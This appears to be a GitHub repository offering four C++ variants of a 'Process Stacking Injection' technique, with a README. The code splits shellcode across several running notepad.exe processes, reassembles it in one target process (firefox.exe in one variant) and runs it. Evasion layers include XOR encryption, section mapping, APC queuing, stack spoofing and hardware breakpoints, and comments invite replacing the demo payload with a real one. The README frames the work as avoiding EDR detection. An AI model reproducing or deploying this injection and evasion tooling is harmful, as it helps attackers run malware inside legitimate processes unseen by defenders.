├── Example-1 └── process-stacking-injection.cpp ├── Example-2 └── Process-Stacking-Injection.cpp ├── Example-3 └── Process-Stacking-Injection.cpp ├── Example-4 └── Process-Stacking-Injection.cpp ├── LICENSE └── README.md /Example-1/process-stacking-injection.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | typedef NTSTATUS(NTAPI* pNtCreateThreadEx)( 7 | OUT PHANDLE ThreadHandle, 8 | IN ACCESS_MASK DesiredAccess, 9 | IN PVOID ObjectAttributes, 10 | IN HANDLE ProcessHandle, 11 | IN PVOID StartRoutine, 12 | IN PVOID Argument OPTIONAL, 13 | IN ULONG CreateFlags, 14 | IN SIZE_T ZeroBits, 15 | IN SIZE_T StackSize, 16 | IN SIZE_T MaximumStackSize, 17 | IN PVOID AttributeList OPTIONAL 18 | ); 19 | 20 | // Simple MessageBox shellcode for PoC (replace with a real payload) 21 | unsigned char shellcode[] = 22 | "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00\x00\x41" 23 | "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60" 24 | "\x48\x8b\x52\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x8b\x72" 25 | "\x50\x48\x0f\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02" 26 | "\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b" 27 | "\x52\x20\x8b\x42\x3c\x41\x51\x48\x01\xd0\x66\x81\x78\x18" 28 | "\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00" 29 | "\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x44\x8b\x40\x20\x49" 30 | "\x01\xd0\x8b\x48\x18\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88" 31 | "\x4d\x31\xc9\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac" 32 | "\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39" 33 | "\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b" 34 | "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" 35 | "\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41" 36 | "\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" 37 | "\x8b\x12\xe9\x4b\xff\xff\xff\x5d\xe8\x0b\x00\x00\x00\x75" 38 | "\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x59\x41\xba\x4c" 39 | "\x77\x26\x07\xff\xd5\x49\xc7\xc1\x00\x00\x00\x00\xe8\x11" 40 | "\x00\x00\x00\x48\x65\x6c\x6c\x6f\x2c\x20\x66\x72\x6f\x6d" 41 | "\x20\x4d\x53\x46\x21\x00\x5a\xe8\x0b\x00\x00\x00\x4d\x65" 42 | "\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x41\x58\x48\x31\xc9" 43 | "\x41\xba\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0" 44 | "\xb5\xa2\x56\xff\xd5"; 45 | 46 | size_t shellcodeSize = sizeof(shellcode) - 1; 47 | int numParts = 3; // Split the shellcode into 3 parts 48 | 49 | std::vector processList; 50 | 51 | // Function to find target processes (example: "notepad.exe") 52 | DWORD FindProcessID(const wchar_t* processName) { 53 | DWORD processID = 0; 54 | PROCESSENTRY32 processEntry; 55 | processEntry.dwSize = sizeof(PROCESSENTRY32); 56 | 57 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 58 | if (Process32First(snapshot, &processEntry)) { 59 | do { 60 | char procName[260] = { 0 }; 61 | size_t convertedChars = 0; 62 | wcstombs_s(&convertedChars, procName, processEntry.szExeFile, _TRUNCATE); 63 | 64 | if (_stricmp(procName, "notepad.exe") == 0) { 65 | processID = processEntry.th32ProcessID; 66 | processList.push_back(processID); 67 | } 68 | } while (Process32Next(snapshot, &processEntry)); 69 | } 70 | CloseHandle(snapshot); 71 | return processID; 72 | } 73 | 74 | // Function to inject shellcode fragments into different processes 75 | bool InjectFragment(DWORD pid, unsigned char* fragment, size_t fragmentSize, LPVOID& remoteAddress) { 76 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 77 | if (!hProcess) return false; 78 | 79 | remoteAddress = VirtualAllocEx(hProcess, NULL, fragmentSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 80 | if (!remoteAddress) return false; 81 | 82 | WriteProcessMemory(hProcess, remoteAddress, fragment, fragmentSize, NULL); 83 | 84 | std::cout << "[+] Fragment injected into PID " << pid << " at address: 0x" << remoteAddress << std::endl; 85 | 86 | CloseHandle(hProcess); 87 | return true; 88 | } 89 | 90 | // Function to reconstruct and execute the shellcode in a target process 91 | void ExecuteShellcode(DWORD pid, LPVOID remoteAddress) { 92 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 93 | if (!hProcess) return; 94 | 95 | // Get pointer to NtCreateThreadEx 96 | pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx"); 97 | if (!NtCreateThreadEx) { 98 | std::cout << "[-] Error obtaining NtCreateThreadEx\n"; 99 | return; 100 | } 101 | 102 | HANDLE hThread; 103 | NTSTATUS status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, remoteAddress, NULL, FALSE, 0, 0, 0, NULL); 104 | 105 | if (status == 0) { 106 | std::cout << "[+] Shellcode successfully executed in process PID: " << pid << std::endl; 107 | } 108 | else { 109 | std::cout << "[-] Failed to execute shellcode. NTSTATUS: " << std::hex << status << std::endl; 110 | } 111 | 112 | CloseHandle(hProcess); 113 | } 114 | 115 | int main() { 116 | // Find available processes for injection 117 | FindProcessID(L"notepad.exe"); 118 | 119 | if (processList.size() < numParts + 1) { 120 | std::cout << "[-] Insufficient number of target processes. Open more instances of Notepad!" << std::endl; 121 | return -1; 122 | } 123 | 124 | size_t partSize = shellcodeSize / numParts; 125 | std::vector allocatedAddresses; 126 | 127 | std::cout << "[*] Injecting shellcode fragments...\n"; 128 | for (int i = 0; i < numParts; i++) { 129 | LPVOID remoteAddress = NULL; 130 | DWORD targetPID = processList[i]; 131 | 132 | if (!InjectFragment(targetPID, shellcode + (i * partSize), partSize, remoteAddress)) { 133 | std::cout << "[-] Injection failed in process " << targetPID << std::endl; 134 | return -1; 135 | } 136 | 137 | allocatedAddresses.push_back(remoteAddress); 138 | std::cout << "[+] Fragment " << i + 1 << " injected into PID: " << targetPID << std::endl; 139 | } 140 | 141 | // Choose a final process to reconstruct the shellcode 142 | DWORD finalProcessPID = processList[numParts]; 143 | LPVOID finalAddress = VirtualAllocEx(OpenProcess(PROCESS_ALL_ACCESS, FALSE, finalProcessPID), 144 | NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 145 | 146 | std::cout << "[*] Reconstructing the shellcode...\n"; 147 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, finalProcessPID); 148 | for (int i = 0; i < numParts; i++) { 149 | WriteProcessMemory(hProcess, (LPVOID)((uintptr_t)finalAddress + (i * partSize)), 150 | shellcode + (i * partSize), partSize, NULL); 151 | } 152 | CloseHandle(hProcess); 153 | 154 | std::cout << "[*] Executing shellcode in final process: " << finalProcessPID << "\n"; 155 | ExecuteShellcode(finalProcessPID, finalAddress); 156 | 157 | return 0; 158 | } 159 | -------------------------------------------------------------------------------- /Example-2/Process-Stacking-Injection.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | // NT API definition for thread creation 8 | typedef NTSTATUS(NTAPI* pNtCreateThreadEx)( 9 | OUT PHANDLE ThreadHandle, 10 | IN ACCESS_MASK DesiredAccess, 11 | IN PVOID ObjectAttributes, 12 | IN HANDLE ProcessHandle, 13 | IN PVOID StartRoutine, 14 | IN PVOID Argument OPTIONAL, 15 | IN ULONG CreateFlags, 16 | IN SIZE_T ZeroBits, 17 | IN SIZE_T StackSize, 18 | IN SIZE_T MaximumStackSize, 19 | IN PVOID AttributeList OPTIONAL 20 | ); 21 | 22 | // Shellcode for testing (opens MessageBox) 23 | unsigned char shellcode[] = 24 | "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00\x00\x41"; 25 | 26 | size_t shellcodeSize = sizeof(shellcode) - 1; 27 | int numParts = 3; // Number of processes to split the shellcode into 28 | 29 | std::vector processList; 30 | 31 | // 🔍 **Find Target Processes** 32 | DWORD FindProcessID(const wchar_t* processName) { 33 | PROCESSENTRY32 processEntry; 34 | processEntry.dwSize = sizeof(PROCESSENTRY32); 35 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 36 | DWORD processID = 0; 37 | 38 | if (Process32First(snapshot, &processEntry)) { 39 | do { 40 | if (_wcsicmp(processEntry.szExeFile, processName) == 0) { 41 | processID = processEntry.th32ProcessID; 42 | processList.push_back(processID); 43 | } 44 | } while (Process32Next(snapshot, &processEntry)); 45 | } 46 | CloseHandle(snapshot); 47 | return processID; 48 | } 49 | 50 | // 🛠 **Inject and Execute Shellcode Fragments Directly in Target Processes** 51 | bool InjectAndExecuteFragment(DWORD pid, unsigned char* fragment, size_t fragmentSize) { 52 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 53 | if (!hProcess) { 54 | std::cout << "[-] Failed to open process " << pid << std::endl; 55 | return false; 56 | } 57 | 58 | // Allocate memory for the fragment in the remote process 59 | LPVOID remoteAddress = VirtualAllocEx(hProcess, NULL, fragmentSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 60 | if (!remoteAddress) { 61 | std::cout << "[-] Failed to allocate memory in process " << pid << "\n"; 62 | CloseHandle(hProcess); 63 | return false; 64 | } 65 | 66 | // Write shellcode fragment into process memory 67 | if (!WriteProcessMemory(hProcess, remoteAddress, fragment, fragmentSize, NULL)) { 68 | std::cout << "[-] Failed to write fragment in process " << pid << "\n"; 69 | CloseHandle(hProcess); 70 | return false; 71 | } 72 | 73 | std::cout << "[+] Fragment injected into PID " << pid << " at address: " << remoteAddress << std::endl; 74 | 75 | // Ensure memory is executable 76 | DWORD oldProtect; 77 | VirtualProtectEx(hProcess, remoteAddress, fragmentSize, PAGE_EXECUTE_READWRITE, &oldProtect); 78 | 79 | // Create a remote thread to execute the shellcode fragment 80 | HANDLE hThread; 81 | pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx"); 82 | 83 | if (NtCreateThreadEx) { 84 | NTSTATUS status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, remoteAddress, NULL, FALSE, 0, 0, 0, NULL); 85 | if (status == 0) { 86 | std::cout << "[+] Fragment executed in process PID: " << pid << std::endl; 87 | CloseHandle(hThread); 88 | } 89 | else { 90 | std::cout << "[-] Failed to execute fragment. NTSTATUS: " << std::hex << status << std::endl; 91 | } 92 | } 93 | else { 94 | std::cout << "[!] NtCreateThreadEx not found. Attempting CreateRemoteThread...\n"; 95 | hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteAddress, NULL, 0, NULL); 96 | if (hThread) { 97 | std::cout << "[+] Fragment successfully executed in process PID: " << pid << std::endl; 98 | CloseHandle(hThread); 99 | } 100 | else { 101 | std::cout << "[-] Failed to start fragment via CreateRemoteThread.\n"; 102 | } 103 | } 104 | 105 | CloseHandle(hProcess); 106 | return true; 107 | } 108 | 109 | int main() { 110 | FindProcessID(L"notepad.exe"); 111 | 112 | if (processList.size() < numParts) { 113 | std::cout << "[-] Insufficient number of target processes. Open more instances of Notepad!\n"; 114 | return -1; 115 | } 116 | 117 | size_t partSize = shellcodeSize / numParts; 118 | 119 | std::cout << "[*] Injecting and executing shellcode fragments...\n"; 120 | for (int i = 0; i < numParts; i++) { 121 | DWORD targetPID = processList[i]; 122 | 123 | if (!InjectAndExecuteFragment(targetPID, shellcode + (i * partSize), partSize)) { 124 | std::cout << "[-] Injection and execution failed in process " << targetPID << "\n"; 125 | return -1; 126 | } 127 | 128 | std::cout << "[+] Fragment " << i + 1 << " executed in PID: " << targetPID << "\n"; 129 | } 130 | 131 | std::cout << "[*] Shellcode successfully executed across fragmented processes!\n"; 132 | return 0; 133 | } 134 | -------------------------------------------------------------------------------- /Example-3/Process-Stacking-Injection.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | // NT API definition for thread creation 8 | typedef NTSTATUS(NTAPI* pNtCreateThreadEx)( 9 | OUT PHANDLE ThreadHandle, 10 | IN ACCESS_MASK DesiredAccess, 11 | IN PVOID ObjectAttributes, 12 | IN HANDLE ProcessHandle, 13 | IN PVOID StartRoutine, 14 | IN PVOID Argument OPTIONAL, 15 | IN ULONG CreateFlags, 16 | IN SIZE_T ZeroBits, 17 | IN SIZE_T StackSize, 18 | IN SIZE_T MaximumStackSize, 19 | IN PVOID AttributeList OPTIONAL 20 | ); 21 | 22 | // Test Shellcode (MessageBox) 23 | unsigned char shellcode[] = 24 | "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00\x00\x41"; 25 | 26 | size_t shellcodeSize = sizeof(shellcode) - 1; 27 | int numParts = 3; // Number of processes to split into 28 | 29 | std::vector processList; 30 | 31 | // 🔍 **Find Target Processes** 32 | DWORD FindProcessID(const wchar_t* processName) { 33 | PROCESSENTRY32 processEntry; 34 | processEntry.dwSize = sizeof(PROCESSENTRY32); 35 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 36 | DWORD processID = 0; 37 | 38 | if (Process32First(snapshot, &processEntry)) { 39 | do { 40 | if (_wcsicmp(processEntry.szExeFile, processName) == 0) { 41 | processID = processEntry.th32ProcessID; 42 | processList.push_back(processID); 43 | } 44 | } while (Process32Next(snapshot, &processEntry)); 45 | } 46 | CloseHandle(snapshot); 47 | return processID; 48 | } 49 | 50 | // 🛠 **Function for Injection and Shellcode Reconstruction** 51 | bool InjectAndRebuildShellcode(DWORD pid, unsigned char* fragment, size_t fragmentSize, LPVOID& remoteBuffer) { 52 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 53 | if (!hProcess) { 54 | std::cout << "[-] Failed to open process " << pid << std::endl; 55 | return false; 56 | } 57 | 58 | // 🔹 **Create a Single Buffer for Reconstruction** 59 | if (!remoteBuffer) { 60 | remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 61 | if (!remoteBuffer) { 62 | std::cout << "[-] Failed to allocate buffer in process " << pid << "\n"; 63 | CloseHandle(hProcess); 64 | return false; 65 | } 66 | } 67 | 68 | // 🔹 **Write Fragment into Buffer** 69 | SIZE_T offset = fragment - shellcode; // Calculate the correct position 70 | if (!WriteProcessMemory(hProcess, (LPVOID)((uintptr_t)remoteBuffer + offset), fragment, fragmentSize, NULL)) { 71 | std::cout << "[-] Failed to write fragment into process " << pid << "\n"; 72 | CloseHandle(hProcess); 73 | return false; 74 | } 75 | 76 | std::cout << "[+] Fragment injected into PID " << pid << " at position: " << offset << std::endl; 77 | 78 | CloseHandle(hProcess); 79 | return true; 80 | } 81 | 82 | // 🚀 **Execute Shellcode After Reconstruction** 83 | void ExecuteShellcode(DWORD pid, LPVOID remoteAddress) { 84 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 85 | if (!hProcess) { 86 | std::cout << "[-] Failed to open process " << pid << " for execution.\n"; 87 | return; 88 | } 89 | 90 | HANDLE hThread; 91 | pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx"); 92 | 93 | if (NtCreateThreadEx) { 94 | NTSTATUS status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, remoteAddress, NULL, FALSE, 0, 0, 0, NULL); 95 | if (status == 0) { 96 | std::cout << "[+] Shellcode executed in PID: " << pid << std::endl; 97 | CloseHandle(hThread); 98 | } else { 99 | std::cout << "[-] Failed to execute shellcode. NTSTATUS: " << std::hex << status << std::endl; 100 | } 101 | } else { 102 | std::cout << "[!] NtCreateThreadEx not found. Trying CreateRemoteThread...\n"; 103 | hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteAddress, NULL, 0, NULL); 104 | if (hThread) { 105 | std::cout << "[+] Shellcode executed in PID: " << pid << std::endl; 106 | CloseHandle(hThread); 107 | } else { 108 | std::cout << "[-] Failed to start shellcode via CreateRemoteThread.\n"; 109 | } 110 | } 111 | 112 | CloseHandle(hProcess); 113 | } 114 | 115 | // 🔥 **Applying Stack Spoofing and Hardware Breakpoint** 116 | void ApplyStackSpoofingAndBreakpoint(DWORD pid, LPVOID remoteAddress) { 117 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 118 | if (!hProcess) { 119 | std::cout << "[-] Failed to open process for Stack Spoofing.\n"; 120 | return; 121 | } 122 | 123 | HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 124 | THREADENTRY32 te32; 125 | te32.dwSize = sizeof(THREADENTRY32); 126 | CONTEXT ctx; 127 | ctx.ContextFlags = CONTEXT_FULL; 128 | 129 | if (Thread32First(hThreadSnap, &te32)) { 130 | do { 131 | if (te32.th32OwnerProcessID == pid) { 132 | HANDLE hThread = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, te32.th32ThreadID); 133 | if (hThread) { 134 | GetThreadContext(hThread, &ctx); 135 | 136 | // Stack Spoofing: Trick Stack Pointer 137 | ctx.Rsp -= sizeof(LPVOID); 138 | WriteProcessMemory(hProcess, (LPVOID)ctx.Rsp, &remoteAddress, sizeof(LPVOID), NULL); 139 | ctx.Rip = (DWORD64)remoteAddress; 140 | 141 | // Hardware Breakpoint 142 | ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; 143 | ctx.Dr0 = (DWORD_PTR)remoteAddress; 144 | ctx.Dr7 = 1; 145 | 146 | SetThreadContext(hThread, &ctx); 147 | CloseHandle(hThread); 148 | } 149 | } 150 | } while (Thread32Next(hThreadSnap, &te32)); 151 | } 152 | CloseHandle(hThreadSnap); 153 | CloseHandle(hProcess); 154 | } 155 | 156 | int main() { 157 | FindProcessID(L"notepad.exe"); 158 | 159 | if (processList.size() < numParts) { 160 | std::cout << "[-] Not enough target processes. Open more instances of Notepad!\n"; 161 | return -1; 162 | } 163 | 164 | size_t partSize = shellcodeSize / numParts; 165 | LPVOID remoteBuffer = NULL; 166 | 167 | std::cout << "[*] Injecting shellcode fragments...\n"; 168 | for (int i = 0; i < numParts; i++) { 169 | DWORD targetPID = processList[i]; 170 | 171 | if (!InjectAndRebuildShellcode(targetPID, shellcode + (i * partSize), partSize, remoteBuffer)) { 172 | std::cout << "[-] Injection failed in process " << targetPID << "\n"; 173 | return -1; 174 | } 175 | } 176 | 177 | std::cout << "[*] Applying Stack Spoofing and Hardware Breakpoint on PID: " << processList[0] << "\n"; 178 | ApplyStackSpoofingAndBreakpoint(processList[0], remoteBuffer); 179 | 180 | std::cout << "[*] Executing reconstructed shellcode in PID: " << processList[0] << "\n"; 181 | ExecuteShellcode(processList[0], remoteBuffer); 182 | 183 | return 0; 184 | } 185 | -------------------------------------------------------------------------------- /Example-4/Process-Stacking-Injection.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | // Definition of NtDLL functions 8 | typedef NTSTATUS(NTAPI* pNtCreateSection)( 9 | OUT PHANDLE SectionHandle, 10 | IN ACCESS_MASK DesiredAccess, 11 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 12 | IN PLARGE_INTEGER MaximumSize OPTIONAL, 13 | IN ULONG SectionPageProtection, 14 | IN ULONG AllocationAttributes, 15 | IN HANDLE FileHandle OPTIONAL 16 | ); 17 | 18 | typedef NTSTATUS(NTAPI* pNtMapViewOfSection)( 19 | IN HANDLE SectionHandle, 20 | IN HANDLE ProcessHandle, 21 | IN OUT PVOID* BaseAddress, 22 | IN ULONG_PTR ZeroBits, 23 | IN SIZE_T CommitSize, 24 | IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, 25 | IN OUT PSIZE_T ViewSize, 26 | IN DWORD InheritDisposition, 27 | IN ULONG AllocationType, 28 | IN ULONG Win32Protect 29 | ); 30 | 31 | // Simple PoC shellcode (can be replaced with a real payload) 32 | unsigned char shellcode[] = 33 | "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00\x00\x41"; 34 | 35 | size_t shellcodeSize = sizeof(shellcode) - 1; 36 | int numParts = 3; // Split the shellcode into 3 parts 37 | 38 | std::vector processList; 39 | 40 | // 🔑 **Shellcode Encryption (XOR)** 41 | void EncryptDecryptShellcode(unsigned char* data, size_t size) { 42 | for (size_t i = 0; i < size; i++) { 43 | data[i] ^= 0xAA; // XOR with 0xAA to evade analysis 44 | } 45 | } 46 | 47 | // 🔎 **Find Target Processes** 48 | DWORD FindProcessID(const wchar_t* processName) { 49 | DWORD processID = 0; 50 | PROCESSENTRY32 processEntry; 51 | processEntry.dwSize = sizeof(PROCESSENTRY32); 52 | 53 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 54 | if (Process32First(snapshot, &processEntry)) { 55 | do { 56 | char procName[260] = { 0 }; 57 | size_t convertedChars = 0; 58 | wcstombs_s(&convertedChars, procName, processEntry.szExeFile, _TRUNCATE); 59 | 60 | if (_stricmp(procName, "notepad.exe") == 0) { 61 | processID = processEntry.th32ProcessID; 62 | processList.push_back(processID); 63 | } 64 | } while (Process32Next(snapshot, &processEntry)); 65 | } 66 | CloseHandle(snapshot); 67 | return processID; 68 | } 69 | 70 | // 🛠 **Injection via NtMapViewOfSection** 71 | bool InjectFragment(DWORD pid, unsigned char* fragment, size_t fragmentSize, LPVOID& remoteAddress, HANDLE& hSection) { 72 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 73 | if (!hProcess) return false; 74 | 75 | // Create shared memory section (RW) 76 | SIZE_T sectionSize = fragmentSize; 77 | pNtCreateSection NtCreateSection = (pNtCreateSection)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateSection"); 78 | if (!NtCreateSection) return false; 79 | 80 | NTSTATUS status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, (PLARGE_INTEGER)§ionSize, PAGE_READWRITE, SEC_COMMIT, NULL); 81 | if (status != 0) return false; 82 | 83 | // Map section RW locally 84 | LPVOID localAddress = NULL; 85 | SIZE_T viewSize = fragmentSize; 86 | pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtMapViewOfSection"); 87 | if (!NtMapViewOfSection) return false; 88 | 89 | // Fixing the InheritDisposition flag (2 represents ViewShare) 90 | NtMapViewOfSection(hSection, GetCurrentProcess(), &localAddress, 0, 0, NULL, &viewSize, 2, 0, PAGE_READWRITE); 91 | 92 | // Copy encrypted shellcode to the section 93 | memcpy(localAddress, fragment, fragmentSize); 94 | 95 | // Map section in remote process with RX permissions 96 | NtMapViewOfSection(hSection, hProcess, &remoteAddress, 0, 0, NULL, &viewSize, 2, 0, PAGE_EXECUTE_READ); 97 | 98 | CloseHandle(hProcess); 99 | return true; 100 | } 101 | 102 | // 🚀 **Execute shellcode via QueueUserAPC** 103 | void ExecuteShellcode(DWORD pid, LPVOID remoteAddress) { 104 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 105 | if (!hProcess) return; 106 | 107 | HANDLE hThread = NULL; 108 | THREADENTRY32 threadEntry; 109 | threadEntry.dwSize = sizeof(THREADENTRY32); 110 | 111 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 112 | if (Thread32First(hSnapshot, &threadEntry)) { 113 | do { 114 | if (threadEntry.th32OwnerProcessID == pid) { 115 | hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID); 116 | if (hThread) { 117 | QueueUserAPC((PAPCFUNC)remoteAddress, hThread, NULL); 118 | CloseHandle(hThread); 119 | break; 120 | } 121 | } 122 | } while (Thread32Next(hSnapshot, &threadEntry)); 123 | } 124 | CloseHandle(hSnapshot); 125 | CloseHandle(hProcess); 126 | } 127 | 128 | int main() { 129 | FindProcessID(L"notepad.exe"); 130 | 131 | if (processList.size() < numParts + 1) { 132 | std::cout << "[-] Not enough target processes. Open more instances of Notepad!" << std::endl; 133 | return -1; 134 | } 135 | 136 | // 🔑 **Encrypt Shellcode before Injection** 137 | EncryptDecryptShellcode(shellcode, shellcodeSize); 138 | 139 | size_t partSize = shellcodeSize / numParts; 140 | std::vector allocatedAddresses; 141 | HANDLE sectionHandles[3]; 142 | 143 | std::cout << "[*] Injecting shellcode fragments...\n"; 144 | for (int i = 0; i < numParts; i++) { 145 | LPVOID remoteAddress = NULL; 146 | DWORD targetPID = processList[i]; 147 | 148 | if (!InjectFragment(targetPID, shellcode + (i * partSize), partSize, remoteAddress, sectionHandles[i])) { 149 | std::cout << "[-] Injection failed in process " << targetPID << std::endl; 150 | return -1; 151 | } 152 | 153 | allocatedAddresses.push_back(remoteAddress); 154 | std::cout << "[+] Fragment " << i + 1 << " injected into PID: " << targetPID << std::endl; 155 | } 156 | 157 | // Choose a final process (firefox.exe) 158 | DWORD finalProcessPID = FindProcessID(L"firefox.exe"); 159 | LPVOID finalAddress = NULL; 160 | HANDLE finalSection; 161 | 162 | if (!InjectFragment(finalProcessPID, shellcode, shellcodeSize, finalAddress, finalSection)) { 163 | std::cout << "[-] Shellcode reconstruction failed!" << std::endl; 164 | return -1; 165 | } 166 | 167 | std::cout << "[*] Executing shellcode in final process: " << finalProcessPID << "\n"; 168 | ExecuteShellcode(finalProcessPID, finalAddress); 169 | 170 | return 0; 171 | } 172 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Joas A Santos 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Process Stacking Injection 2 | 3 | ## 🛠 About the Technique 4 | **Process Stacking Injection** is an advanced code injection technique that distributes shellcode across multiple processes. Unlike traditional injection methods, this approach **fragments the payload**, making detection more challenging for security tools. 5 | 6 | ### 🔹 Key Features: 7 | - **Shellcode Fragmentation** → The payload is divided into multiple processes. 8 | - **Reassembly in Target Process** → The fragments are reconstructed in memory before execution. 9 | - **Execution via Hardware Breakpoints** → Ensures the payload runs only when triggered. 10 | - **Stack Spoofing** → Manipulates the stack pointer to appear as a legitimate function call. 11 | 12 | --- 13 | 14 | ## 🚀 Improvements Implemented 15 | ### ✅ **Memory Management & Debugging** 16 | - **Improved Memory Allocation Verification** → Ensures memory is properly allocated before writing shellcode. 17 | - **Detailed Debug Messages** → Enhanced error reporting using `GetLastError()` to pinpoint failures. 18 | - **Prevention of Invalid Memory Writes** → Added checks to avoid writing outside allocated memory. 19 | 20 | ### ✅ **Execution & Evasion Enhancements** 21 | - **Hardware Breakpoints** → The shellcode only executes when the breakpoint is triggered. 22 | - **Stack Spoofing Optimization** → Prevents crashes by properly adjusting the stack pointer (`RSP`). 23 | - **Delayed Execution** → The payload is only executed after all fragments have been injected. 24 | 25 | ### ✅ **Stealth & Detection Avoidance** 26 | - **No Direct `VirtualAllocEx` Calls for Execution** → Uses indirect memory mapping techniques. 27 | - **Reduces Use of Common API Calls** → Avoids standard `CreateRemoteThread` and uses `NtCreateThreadEx` instead. 28 | - **Memory Dump Verification** → Ensures the shellcode is written correctly before execution. 29 | 30 | --- 31 | 32 | ## 🔮 Future Enhancements 33 | 1️⃣ **Syscall Only Execution** → Implement direct syscalls to bypass API hooking by EDRs. 34 | 2️⃣ **Memory Encryption & Decryption** → XOR/RC4 encryption to hide payload before execution. 35 | 3️⃣ **Thread Hijacking for Covert Execution** → Inject into existing threads 